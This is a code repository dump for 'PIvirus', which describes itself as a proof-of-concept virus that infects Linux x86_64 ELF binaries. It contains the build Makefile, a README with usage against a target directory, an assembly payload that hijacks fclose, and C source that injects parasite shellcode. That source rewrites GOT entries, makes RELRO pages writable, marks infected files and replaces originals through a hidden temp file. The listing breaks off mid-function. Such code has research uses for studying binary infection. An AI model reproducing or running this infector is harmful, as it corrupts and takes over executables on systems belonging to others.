├── Makefile ├── README.md ├── hostile.asm └── pivirus.c /Makefile: -------------------------------------------------------------------------------- 1 | CC= gcc 2 | CFLAGS= -nostdlib -nostartfiles -fPIC -fomit-frame-pointer 3 | ASM= nasm 4 | ASMFLAGS= -f elf64 5 | 6 | all: hostile pivirus 7 | 8 | hostile: hostile.s 9 | $(ASM) $(ASMFLAGS) -o hostile.o hostile.s 10 | 11 | pivirus: pivirus.c 12 | $(CC) pivirus.c hostile.o $(CFLAGS) -o pivirus 13 | 14 | clean: 15 | rm *.o 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PIvirus 2 | 3 | PIvirus is a proof of concept for infecting linux x86_64 ELF binaries using PLT redirection technique 4 | 5 | ## How it works 6 | 7 | - the virus looks for **fclose** function and hijacks it with a function that writes garbage from the stack to the stdout 8 | 9 | - the virus will infect x86_64 ELF binaries with the type **[ ET_DYN || ET_EXEC ]** 10 | 11 | - parasite injection is done by extending the text segment 12 | 13 | - PLT redirection happens at runtime and the virus is able to handle binaries which does not apply lazy binding 14 | 15 | ## Usage 16 | 17 | ``` #./pivirus [ target directory ] ``` 18 | 19 |

20 | PIvirus-demo 21 |

22 | 23 | ## License 24 | 25 | MIT 26 | -------------------------------------------------------------------------------- /hostile.asm: -------------------------------------------------------------------------------- 1 | %define ZERO_ARGS 0x0 2 | %define WRITE_SYSCALL_NUM 0x1 3 | %define STDOUT_FILENO 0x1 4 | %define BUF_LEN 0x1 5 | %define LOOP_COUNTER 0x8000 6 | %define RANDOM_NUM 0x100 7 | 8 | %macro do_write_syscall ZERO_ARGS 9 | mov rdi, STDOUT_FILENO 10 | mov rdx, BUF_LEN 11 | mov rax, WRITE_SYSCALL_NUM 12 | syscall 13 | %endmacro 14 | 15 | %macro func_ret ZERO_ARGS 16 | xor rax, rax 17 | ret 18 | %endmacro 19 | 20 | %macro save_regs ZERO_ARGS 21 | push rbx 22 | push rdx 23 | push rcx 24 | push rdi 25 | push rsi 26 | push r8 27 | push r9 28 | push r10 29 | %endmacro 30 | 31 | %macro restore_regs ZERO_ARGS 32 | pop r10 33 | pop r9 34 | pop r8 35 | pop rsi 36 | pop rdi 37 | pop rcx 38 | pop rdx 39 | pop rbx 40 | %endmacro 41 | 42 | %macro clear_regs ZERO_ARGS 43 | xor rax,rax 44 | xor rbx,rbx 45 | xor rcx,rcx 46 | xor rdx,rdx 47 | xor rdi,rdi 48 | xor rsi,rsi 49 | xor r8,r8 50 | xor r9,r9 51 | xor r10,r10 52 | %endmacro 53 | 54 | 55 | section .text 56 | 57 | global pi_hostile_fclose, pi_get_hostile_len 58 | 59 | 60 | pi_hostile_fclose: 61 | 62 | 63 | save_regs 64 | clear_regs 65 | 66 | push RANDOM_NUM 67 | 68 | lea rsi, [ rsp ] 69 | 70 | mov rcx, LOOP_COUNTER 71 | 72 | loop_start: 73 | 74 | inc byte [ rsi ] 75 | 76 | push rcx 77 | 78 | do_write_syscall 79 | 80 | pop rcx 81 | 82 | loop loop_start 83 | 84 | loop_end: 85 | 86 | pop rax 87 | restore_regs 88 | func_ret 89 | 90 | 91 | pi_hostile_fclose_end: 92 | 93 | 94 | pi_get_hostile_len: 95 | 96 | mov rax, pi_hostile_fclose_end - pi_hostile_fclose 97 | ret 98 | -------------------------------------------------------------------------------- /pivirus.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | 13 | #define _4KB_PAGE 0x1000 14 | #define _4KB_OFFSET_MASK 0xfff 15 | #define PAGE_SIZE _4KB_PAGE 16 | #define PAGE_OFFSET_MASK _4KB_OFFSET_MASK 17 | 18 | #define PAGE_ALIGN_LOW(vaddr) ((vaddr) & ~PAGE_OFFSET_MASK) 19 | #define PAGE_ALIGN_HIGH(vaddr) (PAGE_ALIGN_LOW(vaddr) + PAGE_SIZE) 20 | #define VADDR_OFFSET(vaddr) ((vaddr) & PAGE_OFFSET_MASK) 21 | 22 | 23 | #define PI_MM_ALLOCATED 0x1 24 | #define PI_MM_FREE 0x0 25 | #define PI_MM_POOL_SZ 0x8000 26 | #define PI_POISON_PTR 0x0 27 | 28 | #define STRING_EQUAL 0x0 29 | #define STRING_NOT_EQUAL !STRING_EQUAL 30 | 31 | #define MEM_EQUAL 0x0 32 | #define MEM_NOT_EQUAL !MEM_EQUAL 33 | 34 | #define DIRENTS_BUF_SIZE 0x8000 35 | 36 | 37 | #define PARASITE_ENTRY_SIZE 0x1b 38 | #define PARASITE_OFFSET_1 0x1f 39 | #define PARASITE_OFFSET_2 0x26 40 | #define PARASITE_OFFSET_3 0x2b 41 | #define PARASITE_OFFSET_4 0x50 42 | #define PARASITE_OFFSET_5 0x54 43 | #define PARASITE_LEN 0x60 44 | 45 | #define PI_XOR_KEY 0x78 46 | 47 | #define PI_OPERATION_SUCCESS 0 48 | #define PI_OPERATION_ERROR -1 49 | 50 | #define PI_SIGNATURE 0x10 51 | 52 | #define inline_function __attribute__((always_inline)) inline 53 | 54 | 55 | #define pi_check_syscall_fault(x) \ 56 | if ((int64_t)x < 0) \ 57 | return PI_OPERATION_ERROR \ 58 | 59 | /* 60 | * macro functions to avoid code repeating 61 | */ 62 | #define pi_define_syscall_1(syscall_name,syscall_num,type1,arg1) \ 63 | int64_t pi_##syscall_name(type1 arg1) \ 64 | { \ 65 | int64_t __ret; \ 66 | \ 67 | __asm__ volatile \ 68 | ( \ 69 | "movq %0,%%rdi \n" \ 70 | "movq $"#syscall_num",%%rax \n" \ 71 | "syscall \n" \ 72 | : \ 73 | : "g" (arg1) \ 74 | ); \ 75 | \ 76 | __asm__ \ 77 | ( \ 78 | "movq %%rax,%0" \ 79 | : "=g" (__ret) \ 80 | ); \ 81 | \ 82 | return __ret; \ 83 | } 84 | 85 | #define pi_define_syscall_2(syscall_name,syscall_num,type1,arg1,type2,arg2) \ 86 | int64_t pi_##syscall_name(type1 arg1,type2 arg2) \ 87 | { \ 88 | int64_t __ret; \ 89 | \ 90 | __asm__ volatile \ 91 | ( \ 92 | "movq %0,%%rdi \n" \ 93 | "movq %1,%%rsi \n" \ 94 | "movq $"#syscall_num",%%rax \n" \ 95 | "syscall" \ 96 | : \ 97 | : "g" (arg1), "g" (arg2) \ 98 | ); \ 99 | \ 100 | __asm__ \ 101 | ( \ 102 | "movq %%rax,%0" \ 103 | : "=g" (__ret) \ 104 | ); \ 105 | \ 106 | return __ret; \ 107 | } 108 | 109 | #define pi_define_syscall_3(syscall_name,syscall_num,type1,arg1,type2,arg2,type3,arg3) \ 110 | int64_t pi_##syscall_name(type1 arg1,type2 arg2,type3 arg3) \ 111 | { \ 112 | int64_t __ret; \ 113 | \ 114 | __asm__ volatile \ 115 | ( \ 116 | "movq %0,%%rdi \n" \ 117 | "movq %1,%%rsi \n" \ 118 | "movq %2,%%rdx \n" \ 119 | "movq $"#syscall_num",%%rax \n" \ 120 | "syscall" \ 121 | : \ 122 | : "g" (arg1), "g" (arg2), "g" (arg3) \ 123 | ); \ 124 | \ 125 | __asm__ \ 126 | ( \ 127 | "movq %%rax,%0" \ 128 | : "=g" (__ret) \ 129 | ); \ 130 | \ 131 | return __ret; \ 132 | } 133 | 134 | 135 | 136 | char fclose_xor_encoded[] = "\x1e\x1b\x14\x17\x0b\x1d"; 137 | 138 | 139 | char parasite[] = 140 | "\x50\x53\x57\x56\x52\x51\x55" 141 | "\x48\x31\xc0" 142 | "\x48\x31\xdb" 143 | "\x48\x31\xd2" 144 | "\x48\x31\xc9" 145 | "\x48\x31\xed" 146 | "\xe8\x41\x00\x00\x00" 147 | "\x5f" 148 | "\x48\x81\xef\x41\x41\x41\x41" 149 | "\x48\x81\xc7\x43\x43\x43\x43" 150 | "\xbe\x42\x42\x42\x42" 151 | "\xba\x01\x00\x00\x00" 152 | "\x48\x83\xca\x02" 153 | "\x48\x83\xca\x04" 154 | "\xb8\x0a\x00\x00\x00" 155 | "\x0f\x05" 156 | "\xe8\x16\x00\x00\x00" 157 | "\x58" 158 | "\x48\x83\xc0\x18" 159 | "\x48\x89\x05\x0c\x00\x00\x00" 160 | "\x5d\x59\x5a\x5e\x5f\x5b\x58\xc3" 161 | "\xeb\xbd" 162 | "\xeb\xe8"; 163 | 164 | 165 | typedef struct start_args 166 | { 167 | #define DUMMY_SIZE 8 //force arguments to be on stack 168 | char *argv[DUMMY_SIZE]; 169 | }start_args_t; 170 | 171 | typedef struct malloc_header 172 | { 173 | uint32_t stat; 174 | uint32_t size; 175 | struct malloc_header *next; 176 | }malloc_header_t; 177 | 178 | 179 | typedef struct mman 180 | { 181 | uint8_t *mm_pool_start; 182 | uint8_t *mm_pool_end; 183 | uint8_t *mm_cur_brk; 184 | malloc_header_t *malloc_head; 185 | }mman_t; 186 | 187 | typedef struct linux_dirent64 188 | { 189 | uint64_t d_ino; 190 | uint64_t d_off; 191 | uint16_t d_reclen; 192 | uint8_t d_type; 193 | char d_name[]; 194 | }linux_dirent64_t; 195 | 196 | typedef struct targetfunc 197 | { 198 | uint64_t func_got; 199 | uint64_t func_name_len; 200 | uint8_t *func_name; 201 | }targetfunc_t; 202 | 203 | typedef struct hostilefunc 204 | { 205 | uint64_t hostile_addr; 206 | uint64_t hostile_len; 207 | }hostilefunc_t; 208 | 209 | 210 | typedef struct elfstructs 211 | { 212 | Elf64_Ehdr *ehdr; 213 | Elf64_Phdr *phdr; 214 | Elf64_Phdr *textphdr; 215 | Elf64_Shdr *shdr; 216 | Elf64_Sym *dyn_symtab; 217 | Elf64_Dyn *dynseg; 218 | Elf64_Rela *rela; 219 | Elf64_Addr *pltgot; 220 | Elf64_Rela *pltrela; 221 | Elf64_Xword relasz; 222 | Elf64_Xword pltrelsz; 223 | Elf64_Addr *initarray; 224 | Elf64_Addr gnureloc_start; 225 | Elf64_Xword gnureloc_sz; 226 | uint8_t *dyn_strtab; 227 | }elfstructs_t; 228 | 229 | 230 | typedef struct loadsegments 231 | { 232 | Elf64_Addr code_vaddr; 233 | Elf64_Addr data_vaddr; 234 | Elf64_Off code_offset; 235 | Elf64_Off data_offset; 236 | Elf64_Xword code_size; 237 | Elf64_Xword data_size; 238 | }loadsegments_t; 239 | 240 | 241 | typedef struct elf_flags 242 | { 243 | uint64_t bind_now; 244 | }elf_flags_t; 245 | 246 | 247 | typedef struct target_elf 248 | { 249 | const char *name; 250 | uint8_t *mmap; 251 | int64_t fd; 252 | uint64_t filehole; 253 | elfstructs_t elfstructs; 254 | loadsegments_t loadsegments; 255 | hostilefunc_t hostilefunc; 256 | targetfunc_t targetfunc; 257 | elf_flags_t elf_flags; 258 | struct stat stat; 259 | }target_elf_t; 260 | 261 | 262 | 263 | target_elf_t *target_elf; 264 | mman_t mman; 265 | 266 | 267 | 268 | extern uint64_t pi_hostile_fclose(void); 269 | extern uint64_t pi_get_hostile_len(void); 270 | 271 | 272 | pi_define_syscall_1(close,3,int64_t,fd) 273 | 274 | pi_define_syscall_1(chdir,80,const char *,path) 275 | 276 | pi_define_syscall_1(exit,60,uint64_t,exit_stat); 277 | 278 | pi_define_syscall_2(fstat,5,int64_t,fd,struct stat *,stat_struct) 279 | 280 | pi_define_syscall_2(rename,82,const char *,old_name,const char *,new_name) 281 | 282 | pi_define_syscall_2(chmod,90,const char *,filename,int64_t,mode) 283 | 284 | pi_define_syscall_2(munmap,11,uint64_t,addr,uint64_t,size); 285 | 286 | pi_define_syscall_3(open,2,const char *,path,int64_t,flags,int64_t,mode) 287 | 288 | pi_define_syscall_3(read,0,int64_t,fd,void *,buf,uint64_t,count) 289 | 290 | pi_define_syscall_3(write,1,int64_t,fd,const char *,buf,uint64_t,count) 291 | 292 | pi_define_syscall_3(mprotect,10,void *,addr,uint64_t,len,int64_t,prot) 293 | 294 | pi_define_syscall_3(getdents64,217,int64_t,fd,char *,buf,uint64_t,buf_sz) 295 | 296 | pi_define_syscall_3(lseek,8,int64_t,fd,int64_t,offset,int64_t,whence) 297 | 298 | 299 | void *pi_mmap(void *addr,uint64_t len,int64_t prot,int64_t flags,int64_t fd,int64_t offset) 300 | { 301 | uint64_t __ret; 302 | 303 | __asm__ volatile 304 | ( 305 | "movq $9,%%rax \n" 306 | "movq %0,%%rdi \n" 307 | "movq %1,%%rsi \n" 308 | "movq %2,%%rdx \n" 309 | "movq %3,%%r10 \n" 310 | "movq %4,%%r8 \n" 311 | "movq %5,%%r9 \n" 312 | "syscall" 313 | : 314 | : "g" (addr), "g" (len), "g" (prot), "g" (flags), "g" (fd), "g" (offset) 315 | ); 316 | 317 | __asm__ 318 | ( 319 | "movq %%rax,%0" 320 | : "=g" (__ret) 321 | ); 322 | 323 | return (void *)(__ret); 324 | 325 | } 326 | 327 | 328 | 329 | 330 | inline_function void pi_strcpy(char *dest,const char *src) 331 | { 332 | while (*src) *dest++ = *src++; 333 | *dest = *src; 334 | } 335 | 336 | 337 | inline_function uint64_t pi_strlen(const char *str) 338 | { 339 | uint64_t len = 0; 340 | 341 | while (*str++) ++len; 342 | 343 | return len; 344 | } 345 | 346 | inline_function void pi_memcpy(void *dest,void *src,uint64_t len) 347 | { 348 | while(len--) *((uint8_t *)dest++) = *((uint8_t *)src++); 349 | } 350 | 351 | inline_function int64_t pi_memcmp(void *mem1,void *mem2,uint64_t len) 352 | { 353 | while (len--) 354 | { 355 | if (*((uint8_t *)mem1++) != *((uint8_t *)mem2++)) 356 | return MEM_NOT_EQUAL; 357 | } 358 | 359 | return MEM_EQUAL; 360 | } 361 | 362 | inline_function void pi_memset(void *mem,uint8_t val,uint64_t len) 363 | { 364 | while (len--) *((uint8_t *)mem++) = val; 365 | } 366 | 367 | void pi_puts(const char *str) 368 | { 369 | pi_write(STDOUT_FILENO,str,pi_strlen(str)); 370 | } 371 | 372 | /* 373 | * gets a memory pool that will be used by pi_malloc 374 | */ 375 | int64_t pi_mm_getpool(void) 376 | { 377 | mman.mm_pool_start = pi_mmap(NULL,PI_MM_POOL_SZ,PROT_WRITE | PROT_READ,MAP_ANONYMOUS | MAP_PRIVATE,-1,0); 378 | pi_check_syscall_fault(mman.mm_pool_start); 379 | 380 | mman.mm_pool_end = mman.mm_pool_start + PI_MM_POOL_SZ; 381 | 382 | mman.mm_cur_brk = mman.mm_pool_start; 383 | 384 | return PI_OPERATION_SUCCESS; 385 | } 386 | 387 | void *pi_sbrk(uint32_t size) 388 | { 389 | void *tmp; 390 | 391 | tmp = (void *)mman.mm_cur_brk; 392 | 393 | mman.mm_cur_brk += size; 394 | 395 | if (mman.mm_cur_brk > mman.mm_pool_end) 396 | return NULL; 397 | 398 | return tmp; 399 | } 400 | 401 | void *pi_malloc(uint32_t size) 402 | { 403 | malloc_header_t *tmp1, *tmp2, *tmp3, *tmp4; 404 | 405 | if (!mman.malloc_head) 406 | { 407 | mman.malloc_head = pi_sbrk(size + sizeof(malloc_header_t)); 408 | 409 | if (mman.malloc_head == PI_POISON_PTR) 410 | return (void *)PI_POISON_PTR; 411 | 412 | mman.malloc_head->stat = PI_MM_ALLOCATED; 413 | mman.malloc_head->size = size; 414 | mman.malloc_head->next = PI_POISON_PTR; 415 | 416 | 417 | return (void *)(mman.malloc_head + 1); 418 | } 419 | 420 | //search for free block with bsize >= size 421 | tmp1 = mman.malloc_head; 422 | while (tmp1) 423 | { 424 | if ((tmp1->stat == PI_MM_FREE) && (tmp1->size >= size)) 425 | { 426 | if (tmp1->size > size) 427 | { 428 | //divide the block 429 | tmp3 = (malloc_header_t *)( (uint8_t *)( tmp1 + 1) + size ); 430 | tmp3->stat = PI_MM_ALLOCATED; 431 | tmp3->size = tmp1->size - size; 432 | tmp3->next = tmp1->next; 433 | tmp1->next = tmp3; 434 | goto __ret; 435 | } 436 | tmp1->stat = PI_MM_ALLOCATED; 437 | __ret: 438 | return (void *)(tmp1 + 1); 439 | } 440 | tmp4 = tmp1; 441 | tmp1 = tmp1->next; 442 | } 443 | 444 | tmp2 = pi_sbrk(size + sizeof(malloc_header_t)); 445 | 446 | if (tmp2 == PI_POISON_PTR) 447 | return (void *)PI_POISON_PTR; 448 | 449 | tmp2->size = size; 450 | tmp2->stat = PI_MM_ALLOCATED; 451 | tmp2->next = PI_POISON_PTR; 452 | 453 | tmp4->next = tmp2; 454 | 455 | pi_memset(tmp2 + 1,0x0,tmp2->size); 456 | 457 | return (void *)(tmp2 + 1); 458 | } 459 | 460 | /* 461 | * a simple free that just frees the block at the given address 462 | * there is no adjacent free blocks coalescing 463 | */ 464 | void pi_free(void *ptr) 465 | { 466 | malloc_header_t *tmp1; 467 | 468 | tmp1 = (malloc_header_t *)ptr - 1; 469 | tmp1->stat = PI_MM_FREE; 470 | 471 | pi_memset(tmp1 + 1,0x0,tmp1->size); 472 | } 473 | 474 | 475 | inline_function void pi_xor_mem(void *mem,uint64_t len,uint8_t xor_key) 476 | { 477 | while (len--) *((uint8_t *)mem++) ^= xor_key; 478 | } 479 | 480 | 481 | 482 | int64_t pi_check_target(void) 483 | { 484 | Elf64_Ehdr *ehdr; 485 | Elf64_Phdr *phdr; 486 | char elfmag[] = ELFMAG; 487 | uint64_t dyn_linked = 0; 488 | 489 | 490 | target_elf->fd = pi_open(target_elf->name,O_RDWR,0); 491 | pi_check_syscall_fault(target_elf->fd); 492 | 493 | pi_check_syscall_fault(pi_fstat(target_elf->fd,&target_elf->stat)); 494 | 495 | target_elf->mmap = pi_mmap(NULL, 496 | target_elf->stat.st_size, 497 | PROT_READ | PROT_WRITE, 498 | MAP_SHARED, 499 | target_elf->fd, 500 | 0); 501 | pi_check_syscall_fault(target_elf->mmap); 502 | 503 | ehdr = (Elf64_Ehdr *)target_elf->mmap; 504 | phdr = (Elf64_Phdr *)(target_elf->mmap + ehdr->e_phoff); 505 | 506 | if (pi_memcmp(target_elf->mmap,elfmag,SELFMAG) == MEM_NOT_EQUAL) 507 | return PI_OPERATION_ERROR; 508 | 509 | //binary is infected before ? 510 | if (ehdr->e_ident[EI_OSABI] == PI_SIGNATURE) 511 | return PI_OPERATION_ERROR; 512 | 513 | if (!((ehdr->e_type == ET_EXEC) || (ehdr->e_type == ET_DYN))) 514 | return PI_OPERATION_ERROR; 515 | 516 | for (uint64_t i = 0; i < ehdr->e_phnum; ++i,++phdr) 517 | { 518 | if (phdr->p_type != PT_DYNAMIC) 519 | continue; 520 | dyn_linked = 1; 521 | } 522 | 523 | if (!dyn_linked) 524 | return PI_OPERATION_ERROR; 525 | 526 | return PI_OPERATION_SUCCESS; 527 | } 528 | 529 | 530 | void pi_do_init(void) 531 | { 532 | Elf64_Phdr *tmp_phdr; 533 | Elf64_Shdr *tmp_shdr; 534 | Elf64_Dyn *tmp_dynseg; 535 | Elf64_Sym *tmp_dynsym; 536 | Elf64_Addr target_code_vaddr, target_data_vaddr; 537 | Elf64_Off target_code_offset, target_data_offset; 538 | 539 | target_elf->elfstructs.ehdr = (Elf64_Ehdr *)target_elf->mmap; 540 | target_elf->elfstructs.phdr = (Elf64_Phdr *)(target_elf->mmap + target_elf->elfstructs.ehdr->e_phoff); 541 | target_elf->elfstructs.shdr = (Elf64_Shdr *)(target_elf->mmap + target_elf->elfstructs.ehdr->e_shoff); 542 | 543 | 544 | tmp_phdr = target_elf->elfstructs.phdr; 545 | for (Elf64_Half i = 0; i < target_elf->elfstructs.ehdr->e_phnum; ++i, ++tmp_phdr) 546 | { 547 | switch (tmp_phdr->p_type) 548 | { 549 | case PT_LOAD: 550 | if (tmp_phdr->p_flags & PF_X) 551 | { 552 | target_elf->loadsegments.code_vaddr = tmp_phdr->p_vaddr; 553 | target_elf->loadsegments.code_offset = tmp_phdr->p_offset; 554 | target_elf->loadsegments.code_size = tmp_phdr->p_memsz; 555 | target_elf->elfstructs.textphdr = tmp_phdr; 556 | 557 | target_code_vaddr = target_elf->loadsegments.code_vaddr; 558 | target_code_offset = target_elf->loadsegments.code_offset; 559 | 560 | } 561 | target_elf->loadsegments.data_vaddr = tmp_phdr->p_vaddr; 562 | target_elf->loadsegments.data_offset = tmp_phdr->p_offset; 563 | 564 | target_data_vaddr = target_elf->loadsegments.data_vaddr; 565 | target_data_offset = target_elf->loadsegments.data_offset; 566 | break; 567 | 568 | case PT_DYNAMIC: 569 | target_elf->elfstructs.dynseg = (Elf64_Dyn *)(target_elf->mmap + tmp_phdr->p_offset); 570 | break; 571 | 572 | case PT_GNU_RELRO: 573 | target_elf->elfstructs.gnureloc_sz = tmp_phdr->p_memsz; 574 | target_elf->elfstructs.gnureloc_start = tmp_phdr->p_vaddr - target_elf->elfstructs.textphdr->p_vaddr; 575 | break; 576 | } 577 | } 578 | 579 | tmp_dynseg = target_elf->elfstructs.dynseg; 580 | for (; tmp_dynseg->d_tag != DT_NULL; ++tmp_dynseg) 581 | { 582 | switch (tmp_dynseg->d_tag) 583 | { 584 | case DT_SYMTAB: 585 | target_elf->elfstructs.dyn_symtab = (Elf64_Sym *)(target_elf->mmap + target_code_offset + 586 | (tmp_dynseg->d_un.d_ptr - target_code_vaddr)); 587 | break; 588 | 589 | case DT_STRTAB: 590 | target_elf->elfstructs.dyn_strtab = target_elf->mmap + target_code_offset + 591 | (tmp_dynseg->d_un.d_ptr - target_code_vaddr); 592 | break; 593 | 594 | case DT_JMPREL: 595 | target_elf->elfstructs.pltrela = (Elf64_Rela *)(target_elf->mmap + target_code_offset + 596 | (tmp_dynseg->d_un.d_ptr - target_code_vaddr)); 597 | break; 598 | 599 | case DT_PLTGOT: 600 | target_elf->elfstructs.pltgot = (Elf64_Addr *)(target_elf->mmap + target_data_offset + 601 | (tmp_dynseg->d_un.d_ptr - target_data_vaddr)); 602 | case DT_RELA: 603 | target_elf->elfstructs.rela = (Elf64_Rela *)(target_elf->mmap + target_code_offset + 604 | (tmp_dynseg->d_un.d_ptr - target_code_vaddr)); 605 | break; 606 | 607 | case DT_RELASZ: 608 | target_elf->elfstructs.relasz = tmp_dynseg->d_un.d_val; 609 | break; 610 | 611 | case DT_PLTRELSZ: 612 | target_elf->elfstructs.pltrelsz = tmp_dynseg->d_un.d_val; 613 | break; 614 | 615 | case DT_FLAGS_1: 616 | if (tmp_dynseg->d_un.d_val & DF_1_NOW) 617 | ++target_elf->elf_flags.bind_now; 618 | break; 619 | 620 | case DT_INIT_ARRAY: 621 | target_elf->elfstructs.initarray = (Elf64_Addr *)(target_elf->mmap + (tmp_dynseg->d_un.d_ptr - 622 | target_data_vaddr + target_data_offset)); 623 | break; 624 | } 625 | } 626 | 627 | target_elf->hostilefunc.hostile_addr = (uint64_t)pi_hostile_fclose; 628 | target_elf->hostilefunc.hostile_len = pi_get_hostile_len(); 629 | 630 | } 631 | 632 | 633 | int32_t pi_symbol_lookup(void) 634 | { 635 | char *dynstrtab; 636 | char *sym_name; 637 | Elf64_Rela *rel; 638 | Elf64_Xword relsz; 639 | Elf64_Sym *dynsymtab; 640 | 641 | 642 | if (target_elf->elf_flags.bind_now && !target_elf->elfstructs.pltrela) 643 | { 644 | rel = target_elf->elfstructs.rela; 645 | relsz = target_elf->elfstructs.relasz; 646 | 647 | }else 648 | { 649 | rel = target_elf->elfstructs.pltrela; 650 | relsz = target_elf->elfstructs.pltrelsz; 651 | } 652 | 653 | 654 | dynsymtab = target_elf->elfstructs.dyn_symtab; 655 | dynstrtab = target_elf->elfstructs.dyn_strtab; 656 | 657 | target_elf->targetfunc.func_name_len = pi_strlen(fclose_xor_encoded); 658 | target_elf->targetfunc.func_name = pi_malloc(target_elf->targetfunc.func_name_len); 659 | 660 | pi_memcpy(target_elf->targetfunc.func_name, 661 | fclose_xor_encoded, 662 | target_elf->targetfunc.func_name_len); 663 | 664 | pi_xor_mem(target_elf->targetfunc.func_name, 665 | target_elf->targetfunc.func_name_len, 666 | PI_XOR_KEY); 667 | 668 | 669 | for (Elf64_Xword i = 0; i < (relsz / sizeof(Elf64_Rela)); ++i, ++rel) 670 | { 671 | sym_name = &dynstrtab[dynsymtab[ELF64_R_SYM(rel->r_info)].st_name]; 672 | if (pi_memcmp(sym_name,target_elf->targetfunc.func_name,target_elf->targetfunc.func_name_len) == MEM_EQUAL) 673 | target_elf->targetfunc.func_got = (Elf64_Addr)rel->r_offset; 674 | } 675 | 676 | pi_free(target_elf->targetfunc.func_name); 677 | 678 | if (!target_elf->targetfunc.func_got) 679 | return PI_OPERATION_ERROR; 680 | 681 | return PI_OPERATION_SUCCESS; 682 | } 683 | 684 | 685 | 686 | /* 687 | * flcose's GOT entry hijacking is done @ runtime with the following algorithm: 688 | * - let r be any register 689 | * - (r) holds hostile function address 690 | * - [ fclose_got_entry_offset + rip ] <- r , let this instruction's address be #modify_got 691 | * - [ addr ] is the address of the next instruction that modifies the GOT entry (the next to [#modify_got]) 692 | * - [ diff ] is the offset between the target GOT entry and [ addr ] 693 | * 694 | * - so it will be like this 695 | * - mov $address_of_hostile, diff(%rip) 696 | * 697 | * the parasite takes care of ELF binaries that have the BIND_NOW flag so the entry of the parasite 698 | * mprotects the GNU_RELRO PAGES to be writeable 699 | */ 700 | 701 | void pi_edit_parasite(void) 702 | { 703 | uint64_t diff, addr, var1, var2, var3; 704 | 705 | var1 = target_elf->loadsegments.code_size + PARASITE_ENTRY_SIZE; 706 | 707 | var2 = PAGE_ALIGN_LOW(target_elf->elfstructs.gnureloc_start); 708 | 709 | var3 = target_elf->elfstructs.gnureloc_sz; 710 | 711 | addr = target_elf->loadsegments.code_vaddr + 712 | target_elf->loadsegments.code_size + 713 | PARASITE_OFFSET_5; 714 | 715 | diff = target_elf->targetfunc.func_got - addr; 716 | 717 | *((uint32_t *)¶site[PARASITE_OFFSET_1]) = (uint32_t)var1; 718 | *((uint32_t *)¶site[PARASITE_OFFSET_2]) = (uint32_t)var2; 719 | *((uint32_t *)¶site[PARASITE_OFFSET_3]) = (uint32_t)var3; 720 | *((uint32_t *)¶site[PARASITE_OFFSET_4]) = (uint32_t)diff; 721 | } 722 | 723 | int64_t pi_create_infected_clone(void) 724 | { 725 | char tmpfile[] = "/tmp/.tmp.PI314X_OC"; 726 | char buf[PAGE_SIZE]; 727 | int64_t tmpfile_fd, syscall_ret; 728 | int64_t infected_clone_mode, tmpfile_mode; 729 | uint64_t buf1_sz, buf2_sz, buf3_sz; 730 | 731 | //mark binary as infected 732 | target_elf->elfstructs.ehdr->e_ident[EI_OSABI] = PI_SIGNATURE; 733 | 734 | tmpfile_mode = S_IRUSR | S_IWUSR; 735 | infected_clone_mode = tmpfile_mode | S_IXUSR; 736 | 737 | tmpfile_fd = pi_open(tmpfile,O_CREAT | O_RDWR,tmpfile_mode); 738 | pi_check_syscall_fault(tmpfile_fd); 739 | 740 | buf1_sz = target_elf->loadsegments.code_offset + 741 | target_elf->loadsegments.code_size + 742 | target_elf->filehole; 743 | 744 | buf2_sz = ( PARASITE_LEN + target_elf->hostilefunc.hostile_len ) > target_elf->filehole ? PAGE_SIZE : 0; 745 | 746 | buf3_sz = target_elf->stat.st_size - buf1_sz; 747 | 748 | syscall_ret = pi_write(tmpfile_fd,target_elf->mmap,buf1_sz); 749 | pi_check_syscall_fault(syscall_ret); 750 | 751 | syscall_ret = pi_write(tmpfile_fd,buf,buf2_sz); 752 | pi_check_syscall_fault(syscall_ret); 753 | 754 | syscall_ret = pi_write(tmpfile_fd,target_elf->mmap + buf1_sz,buf3_sz); 755 | pi_check_syscall_fault(syscall_ret); 756 | 757 | syscall_ret = pi_lseek(tmpfile_fd, 758 | target_elf->loadsegments.code_offset + 759 | target_elf->loadsegments.code_size, 760 | SEEK_SET); 761 | pi_check_syscall_fault(syscall_ret); 762 | 763 | syscall_ret = pi_write(tmpfile_fd,parasite,PARASITE_LEN); 764 | pi_check_syscall_fault(syscall_ret); 765 | 766 | syscall_ret = pi_write(tmpfile_fd, 767 | (const char *)target_elf->hostilefunc.hostile_addr, 768 | target_elf->hostilefunc.hostile_len); 769 | pi_check_syscall_fault(syscall_ret); 770 | 771 | syscall_ret = pi_close(tmpfile_fd); 772 | pi_check_syscall_fault(syscall_ret); 773 | 774 | syscall_ret = pi_chmod(tmpfile,infected_clone_mode); 775 | pi_check_syscall_fault(syscall_ret); 776 | 777 | syscall_ret = pi_rename(tmpfile,target_elf->name); 778 | pi_check_syscall_fault(syscall_ret); 779 | 780 | return PI_OPERATION_SUCCESS; 781 | } 782 | 783 | void pi_infect_target(void) 784 | { 785 | Elf64_Phdr *elfphdr; 786 | Elf64_Shdr *elfshdr; 787 | Elf64_Rela *elfrela; 788 | Elf64_Addr target_code_vaddr, target_data_vaddr; 789 | Elf64_Off target_code_offset, target_data_offset; 790 | Elf64_Xword target_code_size, target_data_size; 791 | uint64_t flag, parasite_len, off, addr; 792 | uint8_t old_osabi; 793 | 794 | if (pi_check_target() == PI_OPERATION_ERROR) 795 | goto target_cleanup; 796 | 797 | pi_do_init(); 798 | 799 | if (pi_symbol_lookup() == PI_OPERATION_ERROR) 800 | goto target_cleanup; 801 | 802 | 803 | elfphdr = target_elf->elfstructs.phdr; 804 | elfshdr = target_elf->elfstructs.shdr; 805 | elfrela = target_elf->elfstructs.rela; 806 | 807 | target_code_vaddr = target_elf->loadsegments.code_vaddr; 808 | target_data_vaddr = target_elf->loadsegments.data_vaddr; 809 | 810 | target_code_offset = target_elf->loadsegments.code_offset; 811 | target_data_offset = target_elf->loadsegments.data_offset; 812 | 813 | target_code_size = target_elf->loadsegments.code_size; 814 | target_data_size = target_elf->loadsegments.data_size; 815 | 816 | flag = 1; 817 | parasite_len = PARASITE_LEN; 818 | 819 | if ((parasite_len + target_elf->hostilefunc.hostile_len) > 820 | (PAGE_SIZE - VADDR_OFFSET(target_code_vaddr + target_code_size))) 821 | return; 822 | 823 | 824 | for (Elf64_Half i = 0; i < target_elf->elfstructs.ehdr->e_phnum; 